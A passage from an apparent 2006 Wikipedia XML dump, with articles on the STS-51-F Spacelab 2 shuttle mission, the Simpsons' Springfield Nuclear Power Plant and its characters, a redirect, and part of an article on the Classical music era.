      <text xml:space="preserve">&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;300&quot;&gt;
&lt;tr&gt;
&lt;th colspan=&quot;2&quot; align=center bgcolor=&quot;#FFDEAD&quot;&gt;'''Mission insignia'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; align=&quot;center&quot;&gt;[[image:Sts51F flight insignia.jpg|300px]]&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;th colspan=&quot;2&quot; align=center bgcolor=&quot;#FFDEAD&quot;&gt;'''Mission Statistics'''&lt;/th&gt;&lt;/tr&gt; 
&lt;tr&gt;
&lt;td&gt;Mission:&lt;/td&gt;&lt;td&gt;STS-51-F&lt;/td&gt;&lt;/tr&gt;
&lt;TR&gt;&lt;TD&gt;[[Space Shuttle|Shuttle]]:&lt;/td&gt;&lt;td&gt;[[Space Shuttle Challenger|Challenger]]&lt;/td&gt;&lt;/tr&gt;
&lt;TR&gt;&lt;TD&gt;Launch pad:&lt;/td&gt;&lt;td&gt; 39A&lt;/td&gt;&lt;/tr&gt;
&lt;TR&gt;&lt;TD&gt;Launch:&lt;/td&gt;&lt;td&gt;[[July 29]], [[1985]]&lt;br /&gt;5:00:00 p.m. EDT (21:00:00 [[Coordinated Universal Time|UTC]])&lt;/td&gt;&lt;/tr&gt;
&lt;TR&gt;&lt;TD&gt;Landing:&lt;/td&gt;&lt;td&gt;[[August 6]], [[1985]]&lt;br /&gt;12:45:26 p.m. PDT (19:45:26 UTC)&lt;br /&gt;[[Edwards AFB, California]], Runway 23&lt;/td&gt;&lt;/tr&gt;
&lt;TR&gt;&lt;TD&gt;Duration:&lt;/td&gt;&lt;td&gt; 7 days, 22 hours, 45 minutes, 26 seconds&lt;/td&gt;&lt;/tr&gt;
&lt;TR&gt;&lt;TD&gt;Orbit altitude:&lt;/td&gt;&lt;td&gt; 173 nautical miles (320 km)&lt;/td&gt;&lt;/tr&gt;
&lt;TR&gt;&lt;TD&gt;Orbit inclination:&lt;/td&gt;&lt;td&gt; 49.5 degrees&lt;/td&gt;&lt;/tr&gt;
&lt;TR&gt;&lt;TD&gt;Orbits:&lt;/td&gt;&lt;td&gt;127&lt;/td&gt;&lt;/tr&gt;
&lt;TR&gt;&lt;TD&gt;Distance traveled:&lt;/td&gt;&lt;td&gt;3,283,543 miles (5,284,350 km)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;th colspan=&quot;2&quot; align=center bgcolor=&quot;#FFDEAD&quot;&gt;'''Crew photo'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; align=&quot;center&quot;&gt;[[image:Sts51f crew.jpg|thumb|center|250px|Front row (seated) L-R: Fullerton, Bridges, Back row (standing) L-R: England, Henize, Musgrave, Acton, Bartoe]]&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;td width=&quot;50%&quot; align=&quot;center&quot;&gt;'''Previous mission''':&lt;br&gt;
[[STS-51-G]]&lt;/td&gt;
&lt;td width=&quot;50%&quot; align=&quot;center&quot;&gt;'''Next mission''':&lt;br&gt;
[[STS-51-I]]&lt;/td&gt;
&lt;/table&gt;

'''STS-51-F''' (Spacelab 2) was the nineteenth flight of a [[Space Shuttle]] and the eighth flight of [[Space Shuttle Challenger|''Challenger'']].

== Crew ==
* Commander: [[C. Gordon Fullerton]] (flew on ''[[STS-3]]'' &amp; ''STS-51-F'')
* Pilot: [[Roy D. Bridges, Jr.]] (flew on ''STS-51-F'')
* Mission Specialist 1: [[Story Musgrave|F. Story Musgrave]] (flew on ''[[STS-6]]'', ''STS-51-F'', ''[[STS-33]]'', ''[[STS-44]]'', ''[[STS-61]]'' &amp; ''[[STS-80]]'')
* Mission Specialist 2: [[Anthony W. England]] (flew on ''STS-51-F'')
* Mission Specialist 3: [[Karl G. Henize]] (flew on ''STS-51-F'')
* Payload Specialist 1: [[Loren Acton|Loren W. Acton]] (flew on ''STS-51-F'')
* Payload Specialist 2: [[John-David F. Bartoe]] (flew on ''STS-51-F'')

* Backup Payload Specialist 1: [[George W. Simon]]
* Backup Payload Specialist 2: [[Diane K. Prinz]]

==Mission parameters==
*'''[[Mass]]:'''
**''Orbiter Liftoff:''  114,590 kg
**''Orbiter Landing:''  98,307 kg
**''Payload:''  15,603 kg
*'''[[Perigee]]:''' 203 km
*'''[[Apogee]]:''' 337 km
*'''[[Inclination]]:''' 49.5° 
*'''[[Orbital period|Period]]:''' 89.9 min

== Mission highlights ==
Primary payload was [[Spacelab]]-2. Despite an [[Space Shuttle program#Intact_abort_modes|abort to orbit]], which required mission replanning, the mission was declared a success. A special part of the modular Spacelab system, the igloo, located at head of a three-pallet train, provided on-site support to instruments mounted on pallets. The main mission objective was to verify performance of Spacelab systems, determine the interface capability of the orbiter, and measure the environment created by the spacecraft. Experiments covered [[life science]]s, [[plasma physics]], [[astronomy]], high-energy [[astrophysics]], [[solar physics]], [[atmospheric physics]] and [[technology research]].

The flight marked the first time the ESA Instrument Pointing System (IPS) was tested in orbit. This unique pointing instrument was designed with an accuracy of one [[arcsecond]]. Initially, some problems were experienced when it was commanded to track the Sun, but a series of software fixes were made and the problem was corrected.

The payload with the most publicity probably was the ''Carbonated Beverage Dispenser Evaluation'' &amp;mdash; an experiment where both [[Coca-Cola]] and [[Pepsi]] tried to make their drinks available to astronauts.  Both fizzed excessively in microgravity.

== Launch ==
[[July 29]], [[1985]], 5:00:00 p.m. EDT. Launch countdown [[July 12]] halted at T-3 seconds after main engine ignition when a malfunction of number two [[Space Shuttle Main Engine]] (SSME) coolant valve caused shutdown of all three main engines. Launch July 29 delayed one hour, 37 minutes due to problem with table maintenance block update uplink. Five minutes, 45 seconds into ascent, number one main engine shut down prematurely due to a spurious high temperature sensor. This was the only in-flight main engine failure of the shuttle program. At about the same time, a second main engine almost shut down from a similar problem, but this was observed and inhibited by a fast acting [[flight controller]]. The failed SSME resulted in an 
[[Space Shuttle abort modes#Intact_abort_modes|Abort To Orbit (ATO)]] trajectory, whereby the shuttle achieves a lower than planned orbital altitude. Launch weight: 252,855 lb (114.693 t).

== Landing ==
[[August 6]], [[1985]], 12:45:26 p.m. PDT, Runway 23, [[Edwards Air Force Base]], [[California]]. Rollout distance: 8,569 ft (2.612 km). Rollout time: 55 seconds. Mission extended 17 revolutions for additional payload activities due to abort-to-orbit. Orbiter returned to KSC [[August 11]], 1985. Landing Weight: 216,735 lb (98.309 t).

== Mission insignia ==
The mission insignia was designed by [[Houston, Texas|Houston]] artist Skip Bradley. 
The Space Shuttle Challenger is depicted 
ascending toward the heavens in search of new knowledge in the 
field of solar and stellar astronomy, with its Spacelab 2 payload.  
The constellations [[Leo]] and [[Orion (constellation)|Orion]] are in the positions they will be in, 
relative to the Sun during the flight. The nineteen stars signify that 
this will be the 19th STS flight.

==See also==

* [[Space science]]
* [[Space shuttle]]
* [[List of space shuttle missions]]
* [[List of human spaceflights chronologically]]
 
== External links ==
* [http://science.ksc.nasa.gov/shuttle/missions/51-f/mission-51-f.html NASA mission summary]
* [http://science.ksc.nasa.gov/shuttle/missions/51-f/51-f-press-kit.txt Press Kit]
* [http://science.ksc.nasa.gov/shuttle/missions/51-f/51-f-info.html Additional NASA info]

[[Category:Human spaceflights|STS-051-F]]
[[Category:Space Shuttle missions|STS-051-F]]
[[Category:1985|STS-051-F]]

[[de:STS-51-F]]
[[pt:STS-51-F]]</text>
    </revision>
  </page>
  <page>
    <title>Springfield Nuclear Power Plant</title>
    <id>5286</id>
    <revision>
      <id>39950768</id>
      <timestamp>2006-02-17T01:04:45Z</timestamp>
      <contributor>
        <ip>67.189.86.156</ip>
      </contributor>
      <comment>/* Related Characters */</comment>
      <text xml:space="preserve">[[Image:Springfield npp.png|right|thumb|'''Springfield Nuclear Power Plant''', from [[The Simpsons Road Rage]].]] In the [[television]] [[animated cartoon]] series ''[[The Simpsons]]'', the city of [[Springfield (The Simpsons)|Springfield's]] electricity is generated from the '''Springfield [[Nuclear power plant|Nuclear Power Plant]]'''. The plant has a [[monopoly]] on the city's energy supply, but is sometimes mismanaged and endangers much of the town with its presence. 

Based on the plant's appearance and certain episode plots, it likely houses only a single &quot;Unit&quot; or reactor (although, judging from the number of reactor domes and [[cooling tower]]s, there is a chance it may have two). In one episode an emergency occurs and Homer resorts to the manual, which begins &quot;Congratulations on your purchase of a Fissionator 1952 
Slow-Fission Reactor&quot;.

The plant is poorly maintained, largely due to owner Montgomery Burns' miserliness. Its safety record is appalling, with various episodes showing luminous rats in the bowels of the building, pipes and drums leaking radioactive waste, the disposal of waste in a children's playground, plutonium used as a paperweight, cracked cooling towers, dangerously high Geiger counter readings around the perimeter of the plant, and so on. In the opening credits a bar of some radioactive substance is trapped in Homer's overalls and later disposed of in the street.

The design and folly of Springfield Nuclear Power Plant is based on the real life [[Trojan Nuclear Power Plant]] near [[Matt Groening]]'s home town of [[Portland, Oregon]].  Trojan Nuclear Power Plant opened in [[1970]] was infamous for it's poor construction and maintenance, resulting in leaking steam generators by [[1974]].  The leaking generators ultimately forced the plant to close in [[1992]].

== Employees/Associates ==
*'''[[C. M. Burns|Charles Montgomery Burns]]''', Very rich real owner and CEO of the power plant.

*'''[[Waylon Smithers]]''', is Montgomery Burns's Executive Assistant and adoring henchman. While he appears to [[de facto]] run much of the plant's day-to-day administration, his main job is tending to Mr. Burns, and often trying to talk him out of his more outrageous schemes. 

[[Image:C-carl.jpg|thumb|150px|right|Carl Carlson]]
[[Image:C-lenny.jpg|thumb|150px||right|Lenny Leonard]]

*'''[[Homer Simpson]]''', currently works in Sector 7G as the Safety Officer and has been with the company in some capacity since the birth of his first child. He mostly works in a control room sitting in front of a console, but has little idea how to operate it (in one episode he was replaced by a chicken pecking at the buttons). Often he just reclines in his chair, snoozing or eating doughnuts. He frequently takes &quot;leaves of absence&quot; from (or flat-out quits) his job whenever something interesting comes up. This typically goes either unnoticed or without consequence by his superiors. Despite the fact that the safety of the plant - and Springfield - has been imperiled more than once on Homer's watch, he still keeps his job. Homer is the lowest-ranking person in the power plant [[Organizational chart|org chart]], subordinate to an [[Inanimate Carbon Rod]], and additionally holds a record for longest time spent in an entry-level position.

*'''[[Carl Carlson]]''', along with Lenny, is not just Homer's coworker but one of his best friends since childhood, and he likes to call himself &quot;an urban Lenny.&quot; He is black and handsome, a [[Buddhist]] with a [[master's degree]] in [[Nuclear Physics]], fond of bowling and having a drink at Moe's.  He is likely a [[American liberalism|liberal]] in terms of his politics, having described local talk show host Birch Barlow as &quot;a right-wing crackpot&quot;.  But these are the only definitive details given. He has stated in passing that he has a family and that he's Homer's supervisor, but he mostly keeps things to himself due to his uncontrollably abrasive tongue.

*'''[[Lenny Leonard|Lenford &quot;Lenny&quot; Leonard]]''', the nasal-voiced friend and co-worker of Homer. A [[Chicago, Illinois|Chicago]] native, he is unmarried, a Buddhist, often described as plain looking, although sometimes also seen as very attractive (and featured in a photo-spread in the New Yorker), and though possessing a [[master's degree]] he's undeniably dumb. His living arrangements have included a house that is literally falling apart around him and a beautifully furnished apartment that shares a glass wall with a [[jai alai]] court. His relationship with Carl is complicated. Lifelong friends, Lenny clearly adores Carl. Carl is the dominant partner and generally regards Lenny coolly. They are nonetheless constant companions.

*'''Charlie''', the bespectacled dangerous emissions supervisor. Often quiet and working in the background, he is a known [[militiaman]] and can frequently be found at [[Moe's Tavern]] after hours.  Once landed a pencil in Homer Simpson's butt crack, thus stopping Homer's Train of Thought (Dental Plan!  Lisa needs braces!) and used his sister's prosthetic leg as a [[softball]] bat so he could join the power plant's team.

*'''[[Frank &quot;Grimey&quot; Grimes]]''', hired as executive vice-president and immediately replaced, he was assigned to Sector 7G. As a self-made man who suffered through the worst of life's obstacles, he was naturally outraged at Homer's countless faults, both professional and personal, and his enormous success in spite of them (becoming an [[astronaut]], winning a [[Grammy]], etc.). Attempts by both sides to &quot;deal with&quot; their differences only exacerbated the situation, resulting in Grimes's freakish and untimely death by electrocution. He fathered a son (Frank Grimes, Jr.) with a prostitute, who tried to kill Homer in revenge for his father.

*'''Mindy Simmons''', one of the only female employees hired under [[equal opportunity]] statute (guest-voiced by [[Michelle Pfeiffer]]), and Homer's soul mate. On a trip to promote nuclear power in Capital City, they nearly have an affair. Following Homer's decision not to pursue a relationship, Mindy was dismissed from the plant due to alcohol abuse.

*'''Jack Marley''', a long time employee who was retired against his will.

*'''Unnamed supervisor''', Sherri and Terri's father (no surname ever given, though Homer referred to him as '''Eugene Fisk'''), formerly Homer's supervisor.

*'''Unnamed supervisor''', Homer claims he is one of the guys he never sees at work.

*'''Carol''', member of [[payroll]].

*'''Mike''', married member of [[shipping]]. Burns thought he and Carol were going to hook up.

*'''Ms. Finch''', a woman employee who is one of the people Homer sees at the plant while trying to find a potential suitor for Selma in the episode Principal Charming. Not a man.

*'''Tibor''', Homer's co-worker who eventually becomes his supervisor, and also whom Homer thanked for having &quot;saved my (his) [[butt]].&quot;  He was used as a scapegoat for other employees' mistakes since he was also known as &quot;the guy who doesn't speak any [[English language|English]]&quot;, and is an [[List of unseen characters|unseen character]]. 

*'''Unnamed''', worker whose hand was enlarged a hundred times after exposure to radioactive waste.

*'''Zutroy''', the dangerous emissions supervisor hired when Charlie was temporarily disposed of. He is &quot;American as [[apple pie]]&quot;, according to Burns.

*'''Canary M. Burns''', [[canary]], the one-time legal owner of the Springfield Nuclear Power Plant for reasons of [[prosecutory evasion]] by de facto owner Montgomery Burns. Now living in the [[Canary Islands]].

*'''Unknown''', [[Dobermann|Doberman]], the heroic dog made executive vice-president in lieu of previous choice, Frank Grimes in lieu of previous choice, Waylon Smithers.

*'''Queenie''', [[chicken]], a temporary replacement for Homer, deceased and consumed by Homer.

*'''Stuart''', [[duck]], an employee charged with intra-plant waste transport.

*'''Blinky''', three-eyed [[fish]], inadvertent resultant of the power plant's radioactive output and some-time mascot. Actually, one of many so &quot;evolved&quot; creatures found in Springfield's waters.

*'''[[Inanimate Carbon Rod]]''', named the plant's &quot;Worker of the Week&quot; after all others but prior to Homer. It becomes famous for saving the spaceship Homer was on with [[Buzz Aldrin]] in ''Deep Space Homer'', although Homer suggested its use to close a faulty opening. For its heroism, the rod was named [[Time Magazine]]'s [[Man of the Year]]. According to the SNPP flowchart, the rod out-ranks Homer.

*'''[[Brick]]''', another office fill-in during one of Homer's absences.

*'''Bernie''', plant employee assigned with Homer and another unnamed employee to watch a [[bee]] contained in a jar in the basement during a plant inspection.

*'''Unknown''', dog, trained to abort the core destruct sequence whenever Homer pushes the button while napping.

*'''Kathy''', more or less a female Mr. Burns, works in personnel. Her relationship to Burns is unknown.

*The power plant is also the work place of many [[robot]]s which have [[emotion]]s and feelings. Homer had to fire forty-seven robots when he became owner of the plant and had to watch them all cry.

*It is implied that an entire '''Brazilian Soccer Team''' is working for the plant, because &quot;that plane landed on [Mr. Burns'] property!&quot;. This is a reference to the true story of a Uruguayan rugby team whose plane crashed in the Andes in the 70s, which was also the basis for the book/movie [[Alive]].

To win a bet between the Shelbyville Power Plant, Mr. Burns hired professional baseball players to play for SNPP's company [[softball]] team. The [[parenthesis|parentheses]] indicate the misfortune that the player had.

*'''[[Roger Clemens]]''', security guard, [[softball]] team player ([[Hypnotism|hypnotized]] into thinking he is a chicken)

*'''[[Wade Boggs]]''', janitor, softball team player (knocked out by Barney Gumble in a bar argument)

*'''[[Ken Griffey Jr.]]''', lunchroom cashier, softball team player (gigantism caused by overdose of nerve tonic)

*'''[[Steve Sax]]''', softball team player (six consecutive [[life sentence]]s for various unsolved murders in [[New York City]])

*'''[[Don Mattingly]]''', softball team player (booted off team for not understanding what Mr. Burns wanted him to remove that he referred to as [[sideburns]])

*'''[[Darryl Strawberry]]''', softball team player (the only professional player not to have a misfortune, although he was taken out [because he and the opposing pitcher were both left-handed] during the only game he played at SNPP)

*'''[[Ozzie Smith]]''', softball team player (vanished off the face of the Earth while visiting the &quot;Springfield Mystery Spot&quot;)

*'''[[Mike Scioscia]]''', softball team player ([[radiation poisoning]])

*'''[[Jose Canseco]]''', softball team player (occupied by rescuing items and people from a burning house)

== Related Characters ==

*A variety of nuclear regulators, safety inspectors, and immigration agents periodically make visits to the plant.

*'''Aristotle &quot;Ari&quot; Amadopolis''', the owner of the Shelbyville Nuclear Powerplant.  His relationship with Montgomery resides within the area of competitive mutual respect. He has collaborated with Montgomery Burns on safety measures in the past and been known to meet him in a modest wager. He is based on late Greek shipping tycoon [[Aristotle Onassis]].

*'''Smilin' Joe Fission''', an animated personification of atomic energy used in Springfield Nuclear Power Plant's public relations films and serves as its mascot. He wears a cowboy hat and talks in a Texan accent.

*'''Hans, Fritz, &amp; Horst''', the faces of the German consortium that briefly owned the power plant during Montgomery's temporary retirement.

*'''Mrs. Burns''', Montgomery's 122 year old mother from the deep South. She had an unforgivable affair with [[William Howard Taft|President Taft]], but her capacities are now so limited she can only dial a telephone and [[scream|yell]].

*'''[[Larry Burns]]''', Montgomery's illegitimate son. Born in [[1940]], he has been an all-around failure both with and without the resources his father's station provides. Voiced by and modeled after [[Rodney Dangerfield]], right down to the trademark tie tug.

*'''Lily Bancroft''', daughter of Montgomery's Yale classmate Mimsy and mother of his illegitimate son, Larry Burns. She was sent off to be a nun in the South Seas.

*'''Waylon Smithers Sr.''', the first administrative assistant to Montgomery and the father of Waylon. He died while preventing a meltdown to save both his son and the town.

*'''Frank Grimes Jr.''', the illegitimate son of Frank Grimes due to the latter's apparent fondness for [[prostitution|prostitutes]]. He attempted to exact revenge upon Homer Simpson for his father's early death.

==Interesting Facts==

*A cawing [[crow]] is heard in nearly every establishing shot of the power plant.

*The SNPP maintains a map of the United States indicating the status of all of the various nuclear facilities. Homer's job includes replacing most of the burnt out lightbulbs on the map.

*The wall that Homer faces in his work station changes between episodes. In some episodes the wall is a window showing [[Nuclear reactor|reactor]] piping; in others it is a map of nuclear sites around the country, or a solid wall.

==The Future==
The episodes [[Future-Drama]] and [[Lisa's Wedding]] reveal that the plant will eventually upgrade the number of cooling towers (and possibly reactors) from two to at least five, perhaps as a response to the future growth of Springfield.

In Lisa's Wedding, set a decade in the future, we also discover that Lenny and Carl have been promoted to the executive board while [[Milhouse Van Houten]] has become a supervisor. The plant is operated mainly by [[robots]] but Homer still retains his familiar position at Sector 7G.

==See also==
*[[List of characters from The Simpsons]]

[[Category: The Simpsons]][[Category:Fictional companies]]
[[fr:centrale nucléaire de Springfield]]</text>
    </revision>
  </page>
  <page>
    <title>Classical Music</title>
    <id>5287</id>
    <revision>
      <id>15903502</id>
      <timestamp>2005-06-11T12:14:17Z</timestamp>
      <contributor>
        <username>Robin klein</username>
        <id>70975</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Classical music]]</text>
    </revision>
  </page>
  <page>
    <title>Classical music era</title>
    <id>5288</id>
    <revision>
      <id>41705880</id>
      <timestamp>2006-03-01T04:44:42Z</timestamp>
      <contributor>
        <username>Ejgm</username>
        <id>60162</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">{{History of European art music}}
{{Classicism}}

The '''Classical period''' in [[Western world|Western]] [[music]] occurred   from about 1730 and 1820, but there was considerable overlap at both ends with preceding and following periods, as is true for all musical eras.  Although the term ''[[European classical music|classical music]]'' is used as a blanket term meaning ''all'' kinds of music in this tradition, it can also occasionally mean this particular era within that tradition.

The Classical period falls between the [[Baroque music|Baroque]] and the [[Romantic period in music|Romantic]] periods. Among its [[composers]] were [[Muzio Clementi]], [[Johann Ladislaus Dussek]] and [[Carl Philipp Emanuel Bach]], though probably the best known composers from this period are [[Joseph Haydn]], [[Wolfgang Amadeus Mozart]] and [[Ludwig van Beethoven]] (as they all worked in Vienna, Austria, this period is often referred to as &quot;Viennese Classic&quot;) -  with Beethoven also being listed as either a Romantic composer, or a composer who was part of the transition to the Romantic.

== History of the Classical period ==

=== The Classical style as part of a larger artistic change ===
 
In the middle of the [[18th century]], Europe began to move to a new style in [[architecture]], literature, and the arts generally, known as [[Classicism]]. While still tightly linked to the court culture and absolutism, with its formality and emphasis on order and hierarchy, the new style was also a cleaner style, one that favored clearer divisions between parts, brighter contrasts and colors, and simplicity rather than complexity. The remarkable development of ideas in &quot;natural philosophy&quot; had established itself in the public consciousness, with [[Isaac Newton|Newton's]] physics taken as a paradigm: structures should be well-founded in axioms, and articulated and orderly. This taste for structural clarity worked its way into the world of music as well, moving away from the layered [[polyphony]] of the [[Baroque music|Baroque]] period, and towards a style where a melody over a subordinate harmony &amp;ndash; a combination called [[homophony]] &amp;ndash; was preferred. This meant that playing of chords, even if they interrupted the melodic smoothness of a single part, became a much more prevalent feature of music, and this in turn made the [[tonality | tonal]] structure of works more audible. (See also [[counterpoint]] and [[harmony]].)

The new style was also pushed forward by changes in the economic order and in social structure. As the 18th century progressed, the nobility more and more became the primary patrons of instrumental music, and there was a rise in the public taste for comic [[opera]]. This led to changes in the way music was performed, the most crucial of which was the move to standard instrumental groups, and the reduction in the importance of the &quot;[[basso continuo|continuo]]&quot;, the harmonic fill beneath the music, often played by several instruments. One way to trace this decline of the continuo and its [[figured_bass|figured]] chords is to examine the decline of the term &quot;[[obbligato]]&quot;, meaning a mandatory instrumental part in a work of [[chamber music]]. In the Baroque world, additional instruments could be optionally added to the continuo; in the Classical world, all parts were noted specifically, though not always ''notated'', as a matter of course, so the word &quot;obbligato&quot; became redundant. By 1800, the term was virtually extinct, as was the practice of conducting a work from the keyboard.

The changes in economic situation just noted also had the effect of altering the balance of availability and quality of musicians. While in the late Baroque a major composer would have the entire musical resources of a town to draw on, the forces available at a hunting lodge were smaller, and more fixed in their level of ability. This was a spur to having primarily simple parts to play, and in the case of a resident virtuoso group, a spur to writing spectacular, idiomatic parts for certain instruments, as in the case of the [[Mannheim]] orchestra. In addition, the appetite for a continual supply of new music, carried over from the Baroque, meant that works had to be performable with, at best, one rehearsal. Indeed, even after 1790 Mozart writes about &quot;the rehearsal&quot;, to imply that his concerts would have only one.
 
Since polyphonic texture was no longer the focus of music, but rather a single melodic line with accompaniment, there was greater emphasis on notating that line for [[dynamics (music)|dynamics]] and phrasing. The simplification of texture made such instrumental detail more important, and also made the use of characteristic rhythms, such as attention-getting opening fanfares, the funeral march rhythm, or the minuet genre, more important in establishing and unifying the tone of a single movement.

This led to the Classical style's gradual breaking with the Baroque habit of making each movement of music devoted to a single &quot;[[affect]]&quot; or emotion. Instead, it became the style to establish contrasts between sections within movements, giving each its own emotional coloring, using a range of techniques: opposition of major and minor; strident rhythmic themes in opposition to longer, more song-like themes; and especially, making movement between different harmonic areas the principal means of creating dramatic contrast and unity. Transitional episodes became more and more important, as occasions of surprise and delight. Consequently composers and musicians began to pay more attention to these, highlighting their arrival, and making the signs that pointed to them, on one hand, more audible, and on the other hand, more the subject of &quot;play&quot; and subversion &amp;ndash; that is, composers more and more created false expectations, only to have the music skitter off in a different direction.

===Beginnings of the Classical style (1730-1760)===

At first the new style took over Baroque forms &amp;ndash; the ternary &quot;[[da capo aria|aria da capo]]&quot; and the &quot;[[sinfonia]]&quot; and &quot;[[concerto]]&quot; &amp;ndash; and composed with simpler parts, more notated ornamentation and more emphatic division into sections. However, over time, the new aesthetic caused radical changes in how pieces were put together, and the basic layouts changed. (See [[History of sonata form]].) Composers from this period sought dramatic effects, striking melodies, and clearer textures. One important break with the past was the radical overhaul of opera by [[Christoph Willibald Gluck]], who cut away a great deal of the layering and improvisational ornament, and focused on the points of [[Modulation (music)|modulation]] and transition. By making these moments where the harmony changes more focal, he enabled powerful dramatic shifts in the emotional color of the music. To highlight these episodes he used changes in instrumentation, melody, and [[mode]].  Among the most successful composers of his time, [[Gluck]] spawned many emulators, one of whom was [[Antonio Salieri]]. Their emphasis on accessibility was hugely successful in opera, and in vocal music more widely: songs, oratorios, and choruses. These were considered the most important kinds of music for performance, and hence enjoyed greatest success in the public estimation.

The phase between the Baroque and the rise of the Classical, with its broad mixture of competing ideas and attempts to unify the different demands of taste, economics and &quot;worldview&quot;, goes by many names. It is sometimes called &quot;[[Galant]]&quot;, &quot;[[Rococo]]&quot;, or &quot;pre-Classical&quot;, or at other times, &quot;early Classical&quot;. It is a period where composers still working in the Baroque style are still successful, if sometimes thought of as being more of the past than the present &amp;ndash; Bach, Handel and Telemann all compose well beyond the point at which the homophonic style is clearly in the ascendant. Musical culture was caught at a crossroads: the masters of the older style had the technique, but the public hungered for the new. This is one of the reasons C.P.E. Bach was held in such high regard: he understood the older forms quite well, and knew how to present them in new garb, with an enhanced variety of form; he went far in overhauling the older forms from the Baroque.

===The early Classical style (1760-1775)===
By the late 1750s there are flourishing centers of the new style in Italy, Vienna, Mannheim, and Paris; dozens of symphonies are composed, and there are &quot;bands&quot; of players associated with theatres. Opera or other vocal music is the feature of most musical events, with concerti and &quot;symphonies&quot;, which would over the course of the Classical develop and become independent instrumental works (see [[symphony]]), serving as instrumental interludes and introductions, for operas, and for even church services. The norms of a body of strings supplemented by winds, and of movements of particular rhythmic character, are established by the late 1750s in Vienna. But the length and weight of pieces is still set with some Baroque characteristics: individual movements still focus on one ''affect'' or have only one sharply contrasting middle section, and their length is not significantly greater than Baroque movements. It should also be noted that at this time there is not yet a clearly enunciated theory of how to compose in the new style. It was a moment ripe for a breakthrough.

Many consider this breakthrough to have been made by C.P.E. Bach, Gluck, and several others. Indeed, C.P.E. Bach and Gluck are often considered to be founders of the Classical style itself.

The first great master of the style was the composer [[Joseph Haydn]]. In the late 1750s he began composing symphonies, and by 1761 he had composed a triptych (&quot;Morning&quot;, &quot;Noon&quot;, and &quot;Evening&quot;) solidly in the &quot;contemporary&quot; mode. As a &quot;vice-Kapellmeister&quot; and later &quot;Kapellmeister&quot;, his output expanded: he would compose over forty symphonies in the 1760s alone. And while his fame grew, as his orchestra was expanded and his compositions were copied and disseminated, his voice was only one among many.

While some suggest that he was overshadowed by Mozart and Beethoven, it would be difficult to overstate Haydn's centrality to the new style, and therefore to the future of Western art music as a whole. At the time, before the pre-eminence of Mozart or Beethoven, and with [[Johann Sebastian Bach]] known primarily to connoisseurs of keyboard music, Haydn reached a place in music that set him above all other composers except perhaps [[George Friedrich Handel]]. Some have pointed out that he occupied a place equivalent to the Beatles, for example, in the history of Rock and Roll. It was he who, more than any other single individual, realized that the evolving new style needed to be directed by new ideas and principles. He took existing ideas, and radically altered how they functioned &amp;ndash; earning him the titles &quot;father of the [[symphony]]&quot; and &quot;father of the [[string quartet]]&quot;. One might truly say that he was the father of the [[sonata form]] &amp;ndash; which, in its Classical flowering, relied on dramatic contrast, tension of melody against harmony and rhythm, and required the audience to follow a dramatic curve over a larger span of time than was previously necessary.

Strangely enough, one of the forces that worked as an impetus for his pressing forward was the first stirring of what would later be called &quot;[[Romanticism]]&quot; &amp;ndash; the &quot;[[Sturm und Drang]]&quot;, or &quot;storm and struggle&quot; phase in the arts, a short period where obvious emotionalism was a stylistic preference: the fad of the 1770s. Haydn accordingly wanted more dramatic contrast and more emotionally appealing melodies, with sharpened character and individuality. This period faded away in music and literature: however, it would color what came afterward, and eventually be a component of aesthetic taste in coming decades. 

The [[Symphony No. 45 (Haydn)|&quot;Farewell&quot; Symphony]], No. 45 in F# Minor, exemplifies Haydn's integration of the differing demands of the new style, with surprising sharp turns, and a long adagio to end the work. In 1772, Haydn completed his Opus 20 set of six string quartets, in which he deploys the polyphonic techniques he gathered from the previous era to provide structural coherence capable of holding together his melodic ideas. For some this marks the beginning of the &quot;mature&quot; Classical style, where the period of reaction against the complexity of the late Baroque begins to be replaced with a period of integration of elements of both Baroque and Classical styles.

===The middle Classical style (1775-1790)===

Haydn, having worked for over a decade as the music director for a prince, had far more resources and scope for composing than most, and also the ability to shape the forces that would play his music. This opportunity was not wasted, as Haydn, beginning quite early on his career, restlessly sought to press forward the technique of building ideas in music (see [[Musical_development|development]]). His next important breakthrough was in the Opus 33 string quartets (1781), where the melodic and the harmonic roles segue among the instruments: it is often momentarily unclear what is melody and what is harmony. This changes way the ensemble works its way between dramatic moments of transition and climactic sections: the music flows smoothly and without obvious interruption. He then took this integrated style and began applying it to orchestral and vocal music.

Haydn's gift to music was a way of composing, a way of structuring works, which was at the same time in accord with the governing aesthetic of the new style. It would, however, be a younger contemporary, [[Wolfgang Amadeus Mozart]], who would bring his genius to Haydn's ideas, and apply them to two of the major genres of the day: opera, and the virtuoso concerto. Whereas Haydn spent much of his working life as a court composer, Mozart wanted public success in the concert life of cities. This meant opera, and it meant performing as a virtuoso. Haydn was not a virtuoso at the international touring level; nor was he seeking to create operatic works that could play for many nights in front of a large audience. Mozart wanted both. Moreover, Mozart also had a taste for more chromatic chords (and greater contrasts in harmonic language generally), a greater love for creating a welter of melodies in a single work, and a more Italianate sensibility in music as a whole. He found, in Haydn's music, and later in his study of the polyphony of Bach, the means to discipline and enrich his gifts.

Mozart rapidly came to the attention of Haydn, who hailed the new composer, studied his works, and considered the younger man his only true peer in music. Their letters to each other are filled with the kind of asides that only two people working at a higher plane than their contemporaries can share. In Mozart, Haydn found a greater range of instrumentation, dramatic effect and melodic resource &amp;ndash; the learning relationship moved in two directions.

